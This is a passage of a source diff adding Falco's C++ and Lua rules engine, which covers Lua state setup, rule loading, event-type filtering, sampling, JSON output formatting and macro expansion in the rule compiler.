+	COMPONENT "${FALCO_COMPONENT}"
+	FILES_MATCHING PATTERN *.lua)
+else()
+install(DIRECTORY lua
+	DESTINATION "${FALCO_SHARE_DIR}"
+	FILES_MATCHING PATTERN *.lua)
+endif()
+
+add_subdirectory("${PROJECT_SOURCE_DIR}/../falco/rules" "${PROJECT_BINARY_DIR}/rules")

userspace/engine/config_falco_engine.h.in

@@ -0,0 +1,22 @@
+/*
+Copyright (C) 2016 Draios inc.
+
+This file is part of falco.
+
+falco is free software; you can redistribute it and/or modify
+it under the terms of the GNU General Public License version 2 as
+published by the Free Software Foundation.
+
+falco is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with falco.  If not, see <http://www.gnu.org/licenses/>.
+*/
+
+#pragma once
+
+#define FALCO_ENGINE_LUA_DIR "${FALCO_SHARE_DIR}/lua/"
+#define FALCO_ENGINE_SOURCE_LUA_DIR "${PROJECT_SOURCE_DIR}/../falco/userspace/engine/lua/"

userspace/engine/falco_common.cpp

@@ -0,0 +1,112 @@
+/*
+Copyright (C) 2016 Draios inc.
+
+This file is part of falco.
+
+falco is free software; you can redistribute it and/or modify
+it under the terms of the GNU General Public License version 2 as
+published by the Free Software Foundation.
+
+falco is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with falco.  If not, see <http://www.gnu.org/licenses/>.
+*/
+
+#include <fstream>
+
+#include "config_falco_engine.h"
+#include "falco_common.h"
+
+falco_common::falco_common()
+{
+	m_ls = lua_open();
+	if(!m_ls)
+	{
+		throw falco_exception("Cannot open lua");
+	}
+	luaL_openlibs(m_ls);
+}
+
+falco_common::~falco_common()
+{
+	if(m_ls)
+	{
+		lua_close(m_ls);
+	}
+}
+
+void falco_common::set_inspector(sinsp *inspector)
+{
+	m_inspector = inspector;
+}
+
+void falco_common::init(const char *lua_main_filename, const char *source_dir)
+{
+	ifstream is;
+	string lua_dir = FALCO_ENGINE_LUA_DIR;
+	string lua_main_path = lua_dir + lua_main_filename;
+
+	is.open(lua_main_path);
+	if (!is.is_open())
+	{
+		lua_dir = source_dir;
+		lua_main_path = lua_dir + lua_main_filename;
+
+		is.open(lua_main_path);
+		if (!is.is_open())
+		{
+			throw falco_exception("Could not find Falco Lua entrypoint (tried " +
+					      string(FALCO_ENGINE_LUA_DIR) + lua_main_filename + ", " +
+					      string(source_dir) + lua_main_filename + ")");
+		}
+	}
+
+	// Initialize Lua interpreter
+	add_lua_path(lua_dir);
+
+	// Load the main program, which defines all the available functions.
+	string scriptstr((istreambuf_iterator<char>(is)),
+			 istreambuf_iterator<char>());
+
+	if(luaL_loadstring(m_ls, scriptstr.c_str()) || lua_pcall(m_ls, 0, 0, 0))
+	{
+		throw falco_exception("Failed to load script " +
+			lua_main_path + ": " + lua_tostring(m_ls, -1));
+	}
+}
+
+void falco_common::add_lua_path(string &path)
+{
+	string cpath = string(path);
+	path += "?.lua";
+	cpath += "?.so";
+
+	lua_getglobal(m_ls, "package");
+
+	lua_getfield(m_ls, -1, "path");
+	string cur_path = lua_tostring(m_ls, -1 );
+	cur_path += ';';
+	lua_pop(m_ls, 1);
+
+	cur_path.append(path.c_str());
+
+	lua_pushstring(m_ls, cur_path.c_str());
+	lua_setfield(m_ls, -2, "path");
+
+	lua_getfield(m_ls, -1, "cpath");
+	string cur_cpath = lua_tostring(m_ls, -1 );
+	cur_cpath += ';';
+	lua_pop(m_ls, 1);
+
+	cur_cpath.append(cpath.c_str());
+
+	lua_pushstring(m_ls, cur_cpath.c_str());
+	lua_setfield(m_ls, -2, "cpath");
+
+	lua_pop(m_ls, 1);
+}
+

userspace/engine/falco_common.h

@@ -0,0 +1,87 @@
+/*
+Copyright (C) 2016 Draios inc.
+
+This file is part of falco.
+
+falco is free software; you can redistribute it and/or modify
+it under the terms of the GNU General Public License version 2 as
+published by the Free Software Foundation.
+
+falco is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with falco.  If not, see <http://www.gnu.org/licenses/>.
+*/
+
+#pragma once
+
+#include <string>
+#include <exception>
+
+extern "C" {
+#include "lua.h"
+#include "lualib.h"
+#include "lauxlib.h"
+}
+
+#include <sinsp.h>
+
+//
+// Most falco_* classes can throw exceptions. Unless directly related
+// to low-level failures like inability to open file, etc, they will
+// be of this type.
+//
+
+struct falco_exception : std::exception
+{
+	falco_exception()
+	{
+	}
+
+	virtual ~falco_exception() throw()
+	{
+	}
+
+	falco_exception(std::string error_str)
+	{
+		m_error_str = error_str;
+	}
+
+	char const* what() const throw()
+	{
+		return m_error_str.c_str();
+	}
+
+	std::string m_error_str;
+};
+
+//
+// This is the base class of falco_engine/falco_output. It is
+// responsible for managing a lua state and associated inspector and
+// loading a single "main" lua file into that state.
+//
+
+class falco_common
+{
+public:
+	falco_common();
+	virtual ~falco_common();
+
+	void init(const char *lua_main_filename, const char *source_dir);
+
+	void set_inspector(sinsp *inspector);
+
+protected:
+	lua_State *m_ls;
+
+	sinsp *m_inspector;
+
+private:
+	void add_lua_path(std::string &path);
+};
+
+
+

userspace/engine/falco_engine.cpp

@@ -0,0 +1,267 @@
+/*
+Copyright (C) 2016 Draios inc.
+
+This file is part of falco.
+
+falco is free software; you can redistribute it and/or modify
+it under the terms of the GNU General Public License version 2 as
+published by the Free Software Foundation.
+
+falco is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with falco.  If not, see <http://www.gnu.org/licenses/>.
+*/
+
+#include <cstdlib>
+#include <unistd.h>
+#include <string>
+#include <fstream>
+
+#include "falco_engine.h"
+#include "config_falco_engine.h"
+
+#include "formats.h"
+
+extern "C" {
+#include "lpeg.h"
+#include "lyaml.h"
+}
+
+#include "utils.h"
+
+
+string lua_on_event = "on_event";
+string lua_print_stats = "print_stats";
+
+using namespace std;
+
+falco_engine::falco_engine(bool seed_rng)
+	: m_rules(NULL), m_next_ruleset_id(0),
+	  m_sampling_ratio(1), m_sampling_multiplier(0),
+	  m_replace_container_info(false)
+{
+	luaopen_lpeg(m_ls);
+	luaopen_yaml(m_ls);
+
+	falco_common::init(m_lua_main_filename.c_str(), FALCO_ENGINE_SOURCE_LUA_DIR);
+	falco_rules::init(m_ls);
+
+	m_evttype_filter.reset(new sinsp_evttype_filter());
+
+	if(seed_rng)
+	{
+		srandom((unsigned) getpid());
+	}
+
+	m_default_ruleset_id = find_ruleset_id(m_default_ruleset);
+}
+
+falco_engine::~falco_engine()
+{
+	if (m_rules)
+	{
+		delete m_rules;
+	}
+}
+
+void falco_engine::load_rules(const string &rules_content, bool verbose, bool all_events)
+{
+	// The engine must have been given an inspector by now.
+	if(! m_inspector)
+	{
+		throw falco_exception("No inspector provided");
+	}
+
+	if(!m_rules)
+	{
+		m_rules = new falco_rules(m_inspector, this, m_ls);
+	}
+
+	// Note that falco_formats is added to both the lua state used
+	// by the falco engine as well as the separate lua state used
+	// by falco outputs.  Within the engine, only
+	// formats.formatter is used, so we can unconditionally set
+	// json_output to false.
+	bool json_output = false;
+	falco_formats::init(m_inspector, m_ls, json_output);
+
+	m_rules->load_rules(rules_content, verbose, all_events, m_extra, m_replace_container_info);
+}
+
+void falco_engine::load_rules_file(const string &rules_filename, bool verbose, bool all_events)
+{
+	ifstream is;
+
+	is.open(rules_filename);
+	if (!is.is_open())
+	{
+		throw falco_exception("Could not open rules filename " +
+				      rules_filename + " " +
+				      "for reading");
+	}
+
+	string rules_content((istreambuf_iterator<char>(is)),
+			     istreambuf_iterator<char>());
+
+	load_rules(rules_content, verbose, all_events);
+}
+
+void falco_engine::enable_rule(const string &pattern, bool enabled, const string &ruleset)
+{
+	uint16_t ruleset_id = find_ruleset_id(ruleset);
+
+	m_evttype_filter->enable(pattern, enabled, ruleset_id);
+}
+
+void falco_engine::enable_rule(const string &pattern, bool enabled)
+{
+	enable_rule(pattern, enabled, m_default_ruleset);
+}
+
+void falco_engine::enable_rule_by_tag(const set<string> &tags, bool enabled, const string &ruleset)
+{
+	uint16_t ruleset_id = find_ruleset_id(ruleset);
+
+	m_evttype_filter->enable_tags(tags, enabled, ruleset_id);
+}
+
+void falco_engine::enable_rule_by_tag(const set<string> &tags, bool enabled)
+{
+	enable_rule_by_tag(tags, enabled, m_default_ruleset);
+}
+
+uint16_t falco_engine::find_ruleset_id(const std::string &ruleset)
+{
+	auto it = m_known_rulesets.lower_bound(ruleset);
+
+	if(it == m_known_rulesets.end() ||
+	   it->first != ruleset)
+	{
+		it = m_known_rulesets.emplace_hint(it,
+						   std::make_pair(ruleset, m_next_ruleset_id++));
+	}
+
+	return it->second;
+}
+
+unique_ptr<falco_engine::rule_result> falco_engine::process_event(sinsp_evt *ev, uint16_t ruleset_id)
+{
+	if(should_drop_evt())
+	{
+		return unique_ptr<struct rule_result>();
+	}
+
+	if(!m_evttype_filter->run(ev, ruleset_id))
+	{
+		return unique_ptr<struct rule_result>();
+	}
+
+	unique_ptr<struct rule_result> res(new rule_result());
+
+	lua_getglobal(m_ls, lua_on_event.c_str());
+
+	if(lua_isfunction(m_ls, -1))
+	{
+		lua_pushlightuserdata(m_ls, ev);
+		lua_pushnumber(m_ls, ev->get_check_id());
+
+		if(lua_pcall(m_ls, 2, 3, 0) != 0)
+		{
+			const char* lerr = lua_tostring(m_ls, -1);
+			string err = "Error invoking function output: " + string(lerr);
+			throw falco_exception(err);
+		}
+		res->evt = ev;
+		const char *p =  lua_tostring(m_ls, -3);
+		res->rule = p;
+		res->priority = lua_tostring(m_ls, -2);
+		res->format = lua_tostring(m_ls, -1);
+		lua_pop(m_ls, 3);
+	}
+	else
+	{
+		throw falco_exception("No function " + lua_on_event + " found in lua compiler module");
+	}
+
+	return res;
+}
+
+unique_ptr<falco_engine::rule_result> falco_engine::process_event(sinsp_evt *ev)
+{
+	return process_event(ev, m_default_ruleset_id);
+}
+
+void falco_engine::describe_rule(string *rule)
+{
+	return m_rules->describe_rule(rule);
+}
+
+// Print statistics on the the rules that triggered
+void falco_engine::print_stats()
+{
+	lua_getglobal(m_ls, lua_print_stats.c_str());
+
+	if(lua_isfunction(m_ls, -1))
+	{
+		if(lua_pcall(m_ls, 0, 0, 0) != 0)
+		{
+			const char* lerr = lua_tostring(m_ls, -1);
+			string err = "Error invoking function print_stats: " + string(lerr);
+			throw falco_exception(err);
+		}
+	}
+	else
+	{
+		throw falco_exception("No function " + lua_print_stats + " found in lua rule loader module");
+	}
+
+}
+
+void falco_engine::add_evttype_filter(string &rule,
+				      set<uint32_t> &evttypes,
+				      set<string> &tags,
+				      sinsp_filter* filter)
+{
+	m_evttype_filter->add(rule, evttypes, tags, filter);
+}
+
+void falco_engine::clear_filters()
+{
+	m_evttype_filter.reset(new sinsp_evttype_filter());
+}
+
+void falco_engine::set_sampling_ratio(uint32_t sampling_ratio)
+{
+	m_sampling_ratio = sampling_ratio;
+}
+
+void falco_engine::set_sampling_multiplier(double sampling_multiplier)
+{
+	m_sampling_multiplier = sampling_multiplier;
+}
+
+void falco_engine::set_extra(string &extra, bool replace_container_info)
+{
+	m_extra = extra;
+	m_replace_container_info = replace_container_info;
+}
+
+inline bool falco_engine::should_drop_evt()
+{
+	if(m_sampling_multiplier == 0)
+	{
+		return false;
+	}
+
+	if(m_sampling_ratio == 1)
+	{
+		return false;
+	}
+
+	double coin = (random() * (1.0/RAND_MAX));
+	return (coin >= (1.0/(m_sampling_multiplier * m_sampling_ratio)));
+}

userspace/engine/falco_engine.h

@@ -0,0 +1,192 @@
+/*
+Copyright (C) 2016 Draios inc.
+
+This file is part of falco.
+
+falco is free software; you can redistribute it and/or modify
+it under the terms of the GNU General Public License version 2 as
+published by the Free Software Foundation.
+
+falco is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with falco.  If not, see <http://www.gnu.org/licenses/>.
+*/
+
+#pragma once
+
+#include <string>
+#include <memory>
+#include <set>
+
+#include "sinsp.h"
+#include "filter.h"
+
+#include "rules.h"
+
+#include "falco_common.h"
+
+//
+// This class acts as the primary interface between a program and the
+// falco rules engine. Falco outputs (writing to files/syslog/etc) are
+// handled in a separate class falco_outputs.
+//
+
+class falco_engine : public falco_common
+{
+public:
+	falco_engine(bool seed_rng=true);
+	virtual ~falco_engine();
+
+	//
+	// Load rules either directly or from a filename.
+	//
+	void load_rules_file(const std::string &rules_filename, bool verbose, bool all_events);
+	void load_rules(const std::string &rules_content, bool verbose, bool all_events);
+
+	//
+	// Enable/Disable any rules matching the provided pattern
+	// (regex). When provided, enable/disable these rules in the
+	// context of the provided ruleset. The ruleset (id) can later
+	// be passed as an argument to process_event(). This allows
+	// for different sets of rules being active at once.
+	//
+	void enable_rule(const std::string &pattern, bool enabled, const std::string &ruleset);
+
+	// Wrapper that assumes the default ruleset
+	void enable_rule(const std::string &pattern, bool enabled);
+
+	//
+	// Enable/Disable any rules with any of the provided tags (set, exact matches only)
+	//
+	void enable_rule_by_tag(const std::set<std::string> &tags, bool enabled, const std::string &ruleset);
+
+	// Wrapper that assumes the default ruleset
+	void enable_rule_by_tag(const std::set<std::string> &tags, bool enabled);
+
+	struct rule_result {
+		sinsp_evt *evt;
+		std::string rule;
+		std::string priority;
+		std::string format;
+	};
+
+	//
+	// Return the ruleset id corresponding to this ruleset name,
+	// creating a new one if necessary. If you provide any ruleset
+	// to enable_rule/enable_rule_by_tag(), you should look up the
+	// ruleset id and pass it to process_event().
+	//
+	uint16_t find_ruleset_id(const std::string &ruleset);
+
+	//
+	// Given an event, check it against the set of rules in the
+	// engine and if a matching rule is found, return details on
+	// the rule that matched. If no rule matched, returns NULL.
+	//
+	// When ruleset_id is provided, use the enabled/disabled status
+	// associated with the provided ruleset. This is only useful
+	// when you have previously called enable_rule/enable_rule_by_tag
+	// with a ruleset string.
+	//
+	// the returned rule_result is allocated and must be delete()d.
+	std::unique_ptr<rule_result> process_event(sinsp_evt *ev, uint16_t ruleset_id);
+
+	//
+	// Wrapper assuming the default ruleset
+	//
+	std::unique_ptr<rule_result> process_event(sinsp_evt *ev);
+
+	//
+	// Print details on the given rule. If rule is NULL, print
+	// details on all rules.
+	//
+	void describe_rule(std::string *rule);
+
+	//
+	// Print statistics on how many events matched each rule.
+	//
+	void print_stats();
+
+	//
+	// Add a filter, which is related to the specified set of
+	// event types, to the engine.
+	//
+	void add_evttype_filter(std::string &rule,
+				std::set<uint32_t> &evttypes,
+				std::set<std::string> &tags,
+				sinsp_filter* filter);
+
+	// Clear all existing filters.
+	void clear_filters();
+
+	//
+	// Set the sampling ratio, which can affect which events are
+	// matched against the set of rules.
+	//
+	void set_sampling_ratio(uint32_t sampling_ratio);
+
+	//
+	// Set the sampling ratio multiplier, which can affect which
+	// events are matched against the set of rules.
+	//
+	void set_sampling_multiplier(double sampling_multiplier);
+
+	//
+	// You can optionally add "extra" formatting fields to the end
+	// of all output expressions. You can also choose to replace
+	// %container.info with the extra information or add it to the
+	// end of the expression. This is used in open source falco to
+	// add k8s/mesos/container information to outputs when
+	// available.
+	//
+	void set_extra(string &extra, bool replace_container_info);
+
+private:
+
+	//
+	// Determine whether the given event should be matched at all
+	// against the set of rules, given the current sampling
+	// ratio/multiplier.
+	//
+	inline bool should_drop_evt();
+
+	falco_rules *m_rules;
+	uint16_t m_next_ruleset_id;
+	std::map<string, uint16_t> m_known_rulesets;
+	std::unique_ptr<sinsp_evttype_filter> m_evttype_filter;
+
+	//
+	// Here's how the sampling ratio and multiplier influence
+	// whether or not an event is dropped in
+	// should_drop_evt(). The intent is that m_sampling_ratio is
+	// generally changing external to the engine e.g. in the main
+	// inspector class based on how busy the inspector is. A
+	// sampling ratio implies no dropping. Values > 1 imply
+	// increasing levels of dropping. External to the engine, the
+	// sampling ratio results in events being dropped at the
+	// kernel/inspector interface.
+	//
+	// The sampling multiplier is an amplification to the sampling
+	// factor in m_sampling_ratio. If 0, no additional events are
+	// dropped other than those that might be dropped by the
+	// kernel/inspector interface. If 1, events that make it past
+	// the kernel module are subject to an additional level of
+	// dropping at the falco engine, scaling with the sampling
+	// ratio in m_sampling_ratio.
+	//
+
+	uint32_t m_sampling_ratio;
+	double m_sampling_multiplier;
+
+	std::string m_lua_main_filename = "rule_loader.lua";
+	std::string m_default_ruleset = "falco-default-ruleset";
+	uint32_t m_default_ruleset_id;
+
+	std::string m_extra;
+	bool m_replace_container_info;
+};
+

userspace/engine/formats.cpp

@@ -0,0 +1,156 @@
+/*
+Copyright (C) 2016 Draios inc.
+
+This file is part of falco.
+
+falco is free software; you can redistribute it and/or modify
+it under the terms of the GNU General Public License version 2 as
+published by the Free Software Foundation.
+
+falco is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with falco.  If not, see <http://www.gnu.org/licenses/>.
+*/
+
+#include <json/json.h>
+
+#include "formats.h"
+#include "logger.h"
+#include "falco_engine.h"
+
+
+sinsp* falco_formats::s_inspector = NULL;
+bool falco_formats::s_json_output = false;
+sinsp_evt_formatter_cache *falco_formats::s_formatters = NULL;
+
+const static struct luaL_reg ll_falco [] =
+{
+	{"formatter", &falco_formats::formatter},
+	{"free_formatter", &falco_formats::free_formatter},
+	{"free_formatters", &falco_formats::free_formatters},
+	{"format_event", &falco_formats::format_event},
+	{NULL,NULL}
+};
+
+void falco_formats::init(sinsp* inspector, lua_State *ls, bool json_output)
+{
+	s_inspector = inspector;
+	s_json_output = json_output;
+	if(!s_formatters)
+	{
+		s_formatters = new sinsp_evt_formatter_cache(s_inspector);
+	}
+
+	luaL_openlib(ls, "formats", ll_falco, 0);
+}
+
+int falco_formats::formatter(lua_State *ls)
+{
+	string format = luaL_checkstring(ls, 1);
+	sinsp_evt_formatter* formatter;
+	try
+	{
+		formatter = new sinsp_evt_formatter(s_inspector, format);
+		lua_pushlightuserdata(ls, formatter);
+	}
+	catch(sinsp_exception& e)
+	{
+		luaL_error(ls, "Invalid output format '%s': '%s'", format.c_str(), e.what());
+	}
+
+	return 1;
+}
+
+int falco_formats::free_formatter(lua_State *ls)
+{
+	if (!lua_islightuserdata(ls, -1))
+	{
+		luaL_error(ls, "Invalid argument passed to free_formatter");
+	}
+
+	sinsp_evt_formatter *formatter = (sinsp_evt_formatter *) lua_topointer(ls, 1);
+
+	delete(formatter);
+
+	return 0;
+}
+
+int falco_formats::free_formatters(lua_State *ls)
+{
+	if(s_formatters)
+	{
+		delete(s_formatters);
+		s_formatters = NULL;
+	}
+	return 0;
+}
+
+int falco_formats::format_event (lua_State *ls)
+{
+	string line;
+
+	if (!lua_isstring(ls, -1) ||
+	    !lua_isstring(ls, -2) ||
+	    !lua_isstring(ls, -3) ||
+	    !lua_islightuserdata(ls, -4)) {
+		lua_pushstring(ls, "Invalid arguments passed to format_event()");
+		lua_error(ls);
+	}
+	sinsp_evt* evt = (sinsp_evt*)lua_topointer(ls, 1);
+	const char *rule = (char *) lua_tostring(ls, 2);
+	const char *level = (char *) lua_tostring(ls, 3);
+	const char *format = (char *) lua_tostring(ls, 4);
+
+	string sformat = format;
+
+	try {
+		s_formatters->tostring(evt, sformat, &line);
+	}
+	catch (sinsp_exception& e)
+	{
+		string err = "Invalid output format '" + sformat + "': '" + string(e.what()) + "'";
+		lua_pushstring(ls, err.c_str());
+		lua_error(ls);
+	}
+
+	// For JSON output, the formatter returned just the output
+	// string containing the format text and values. Use this to
+	// build a more detailed object containing the event time,
+	// rule, severity, full output, and fields.
+	if (s_json_output) {
+		Json::Value event;
+		Json::FastWriter writer;
+
+		// Convert the time-as-nanoseconds to a more json-friendly ISO8601.
+		time_t evttime = evt->get_ts()/1000000000;
+		char time_sec[20]; // sizeof "YYYY-MM-DDTHH:MM:SS"
+		char time_ns[12]; // sizeof ".sssssssssZ"
+		string iso8601evttime;
+
+		strftime(time_sec, sizeof(time_sec), "%FT%T", gmtime(&evttime));
+		snprintf(time_ns, sizeof(time_ns), ".%09luZ", evt->get_ts() % 1000000000);
+		iso8601evttime = time_sec;
+		iso8601evttime += time_ns;
+		event["time"] = iso8601evttime;
+		event["rule"] = rule;
+		event["priority"] = level;
+		event["output"] = line;
+
+		line = writer.write(event);
+
+		// Json::FastWriter may add a trailing newline. If it
+		// does, remove it.
+		if (line[line.length()-1] == '\n')
+		{
+			line.resize(line.length()-1);
+		}
+	}
+
+	lua_pushstring(ls, line.c_str());
+	return 1;
+}
+

userspace/engine/formats.h

@@ -0,0 +1,51 @@
+/*
+Copyright (C) 2016 Draios inc.
+
+This file is part of falco.
+
+falco is free software; you can redistribute it and/or modify
+it under the terms of the GNU General Public License version 2 as
+published by the Free Software Foundation.
+
+falco is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with falco.  If not, see <http://www.gnu.org/licenses/>.
+*/
+
+#pragma once
+
+#include "sinsp.h"
+
+extern "C" {
+#include "lua.h"
+#include "lualib.h"
+#include "lauxlib.h"
+}
+
+class sinsp_evt_formatter;
+
+class falco_formats
+{
+ public:
+	static void init(sinsp* inspector, lua_State *ls, bool json_output);
+
+	// formatter = falco.formatter(format_string)
+	static int formatter(lua_State *ls);
+
+	// falco.free_formatter(formatter)
+	static int free_formatter(lua_State *ls);
+
+	// falco.free_formatters()
+	static int free_formatters(lua_State *ls);
+
+	// formatted_string = falco.format_event(evt, formatter)
+	static int format_event(lua_State *ls);
+
+	static sinsp* s_inspector;
+	static sinsp_evt_formatter_cache *s_formatters;
+	static bool s_json_output;
+};

userspace/engine/lua/compiler.lua

@@ -0,0 +1,365 @@
+--
+-- Copyright (C) 2016 Draios inc.
+--
+-- This file is part of falco.
+--
+-- falco is free software; you can redistribute it and/or modify
+-- it under the terms of the GNU General Public License version 2 as
+-- published by the Free Software Foundation.
+--
+-- falco is distributed in the hope that it will be useful,
+-- but WITHOUT ANY WARRANTY; without even the implied warranty of
+-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+-- GNU General Public License for more details.
+--
+-- You should have received a copy of the GNU General Public License
+-- along with falco.  If not, see <http://www.gnu.org/licenses/>.
+
+local parser = require("parser")
+local compiler = {}
+
+compiler.verbose = false
+compiler.all_events = false
+
+function compiler.set_verbose(verbose)
+   compiler.verbose = verbose
+   parser.set_verbose(verbose)
+end
+
+function compiler.set_all_events(all_events)
+   compiler.all_events = all_events
+end
+
+function map(f, arr)
+   local res = {}
+   for i,v in ipairs(arr) do
+      res[i] = f(v)
+   end
+   return res
+end
+
+function foldr(f, acc, arr)
+   for i,v in pairs(arr) do
+      acc = f(acc, v)
+   end
+   return acc
+end
+
+--[[
+
+   Given a map of macro definitions, traverse AST and replace macro references
+   with their definitions.
+
+   The AST is changed in-place.
+
+   The return value is a boolean which is true if any macro was
+   substitued. This allows a caller to re-traverse until no more macros are
+   found, a simple strategy for recursive resoltuions (e.g. when a macro
+   definition uses another macro).
+
+--]]
+
+function copy_ast_obj(obj)
+   if type(obj) ~= 'table' then return obj end
+   local res = {}
+   for k, v in pairs(obj) do res[copy_ast_obj(k)] = copy_ast_obj(v) end
+   return res
+end
+
+function expand_macros(ast, defs, changed)
+
+   if (ast.type == "Rule") then
+      return expand_macros(ast.filter, defs, changed)
+   elseif ast.type == "Filter" then
+      if (ast.value.type == "Macro") then
+         if (defs[ast.value.value] == nil) then
+            error("Undefined macro '".. ast.value.value .. "' used in filter.")
+         end
+         ast.value = copy_ast_obj(defs[ast.value.value])
+         changed = true
+	 return changed
+      end
+      return expand_macros(ast.value, defs, changed)
+
+   elseif ast.type == "BinaryBoolOp" then
+
+      if (ast.left.type == "Macro") then
+         if (defs[ast.left.value] == nil) then
+            error("Undefined macro '".. ast.left.value .. "' used in filter.")
+         end
+         ast.left = copy_ast_obj(defs[ast.left.value])
+         changed = true
+      end
+
+      if (ast.right.type == "Macro") then
+         if (defs[ast.right.value] == nil) then
+            error("Undefined macro ".. ast.right.value .. " used in filter.")
+         end
+         ast.right = copy_ast_obj(defs[ast.right.value])
+         changed = true
+      end
+
+      local changed_left = expand_macros(ast.left, defs, false)
+      local changed_right = expand_macros(ast.right, defs, false)
+      return changed or changed_left or changed_right
+
+   elseif ast.type == "UnaryBoolOp" then
+      if (ast.argument.type == "Macro") then
+         if (defs[ast.argument.value] == nil) then
+            error("Undefined macro ".. ast.argument.value .. " used in filter.")
+         end
+         ast.argument = copy_ast_obj(defs[ast.argument.value])
+         changed = true
+      end
+      return expand_macros(ast.argument, defs, changed)
+   end
+   return changed
+end
+
+function get_macros(ast, set)
+   if (ast.type == "Macro") then
+      set[ast.value] = true
+      return set
+   end
+
+   if ast.type == "Filter" then
+      return get_macros(ast.value, set)
+   end
+
+   if ast.type == "BinaryBoolOp" then
+      local left = get_macros(ast.left, {})
+      local right = get_macros(ast.right, {})
+
+      for m, _ in pairs(left) do set[m] = true end
+      for m, _ in pairs(right) do set[m] = true end
+
+      return set
+   end
+   if ast.type == "UnaryBoolOp" then
+      return get_macros(ast.argument, set)
+   end
+   return set
+end
+
+function check_for_ignored_syscalls_events(ast, filter_type, source)
+
+   function check_syscall(val)
+      if ignored_syscalls[val] then
+	 error("Ignored syscall \""..val.."\" in "..filter_type..": "..source)
+      end
+
+   end
+
+   function check_event(val)
+      if ignored_events[val] then
+	 error("Ignored event \""..val.."\" in "..filter_type..": "..source)
+      end
+   end
+
+   function cb(node)
+      if node.left.type == "FieldName" and
+	 (node.left.value == "evt.type" or
+	  node.left.value == "syscall.type") then
+
+	    if node.operator == "in" or node.operator == "pmatch" then
+	       for i, v in ipairs(node.right.elements) do
+		  if v.type == "BareString" then
+		     if node.left.value == "evt.type" then
+			check_event(v.value)
+		     else
+			check_syscall(v.value)
+		     end
+		  end
+	       end
+	    else
+	       if node.right.type == "BareString" then
+		  if node.left.value == "evt.type" then
+		     check_event(node.right.value)
+		  else
+		     check_syscall(node.right.value)
+		  end
+	       end
+	    end
+      end
+   end
+
+   parser.traverse_ast(ast, {BinaryRelOp=1}, cb)
+end
+
+-- Examine the ast and find the event types for which the rule should
+-- run. All evt.type references are added as event types up until the
+-- first "!=" binary operator or unary not operator. If no event type
+-- checks are found afterward in the rule, the rule is considered
+-- optimized and is associated with the event type(s).
+--
+-- Otherwise, the rule is associated with a 'catchall' category and is
+-- run for all event types. (Also, a warning is printed).
+--
+
+function get_evttypes(name, ast, source)
+
+   local evttypes = {}
+   local evtnames = {}
+   local found_event = false
+   local found_not = false
+   local found_event_after_not = false
+
+   function cb(node)
+     if node.type == "UnaryBoolOp" then
+	if node.operator == "not" then
+	   found_not = true
+	end
+     else
+	 if node.operator == "!=" then
+	    found_not = true
+	 end
+	 if node.left.type == "FieldName" and node.left.value == "evt.type" then
+	    found_event = true
+	    if found_not then
+	       found_event_after_not = true
+	    end
+	    if node.operator == "in" or node.operator == "pmatch" then
+	       for i, v in ipairs(node.right.elements) do
+		  if v.type == "BareString" then
+		     evtnames[v.value] = 1
+		     for id in string.gmatch(events[v.value], "%S+") do
+			evttypes[id] = 1
+		     end
+		  end
+	       end
+	    else
+	       if node.right.type == "BareString" then
+		  evtnames[node.right.value] = 1
+		  for id in string.gmatch(events[node.right.value], "%S+") do
+		     evttypes[id] = 1
+		  end
+	       end
+	    end
+	 end
+      end
+   end
+
+   parser.traverse_ast(ast.filter.value, {BinaryRelOp=1, UnaryBoolOp=1} , cb)
+
+   if not found_event then
+      io.stderr:write("Rule "..name..": warning (no-evttype):\n")
+      io.stderr:write(source.."\n")
+      io.stderr:write("         did not contain any evt.type restriction, meaning it will run for all event types.\n")
+      io.stderr:write("         This has a significant performance penalty. Consider adding an evt.type restriction if possible.\n")
+      evttypes = {}
+      evtnames = {}
+   end
+
+   if found_event_after_not then
+      io.stderr:write("Rule "..name..": warning (trailing-evttype):\n")
+      io.stderr:write(source.."\n")
+      io.stderr:write("         does not have all evt.type restrictions at the beginning of the condition,\n")
+      io.stderr:write("         or uses a negative match (i.e. \"not\"/\"!=\") for some evt.type restriction.\n")
+      io.stderr:write("         This has a performance penalty, as the rule can not be limited to specific event types.\n")
+      io.stderr:write("         Consider moving all evt.type restrictions to the beginning of the rule and/or\n")
+      io.stderr:write("         replacing negative matches with positive matches if possible.\n")
+      evttypes = {}
+      evtnames = {}
+   end
+
+   evtnames_only = {}
+   local num_evtnames = 0
+   for name, dummy in pairs(evtnames) do
+      table.insert(evtnames_only, name)
+      num_evtnames = num_evtnames + 1
+   end
+
+   if num_evtnames == 0 then
+      table.insert(evtnames_only, "all")
+   end
+
+   table.sort(evtnames_only)
+
+   if compiler.verbose then
+      io.stderr:write("Event types for rule "..name..": "..table.concat(evtnames_only, ",").."\n")
+   end
+
+   return evttypes
+end
+
+function compiler.compile_macro(line, macro_defs, list_defs)
+
+   for name, items in pairs(list_defs) do
+      line = string.gsub(line, name, table.concat(items, ", "))
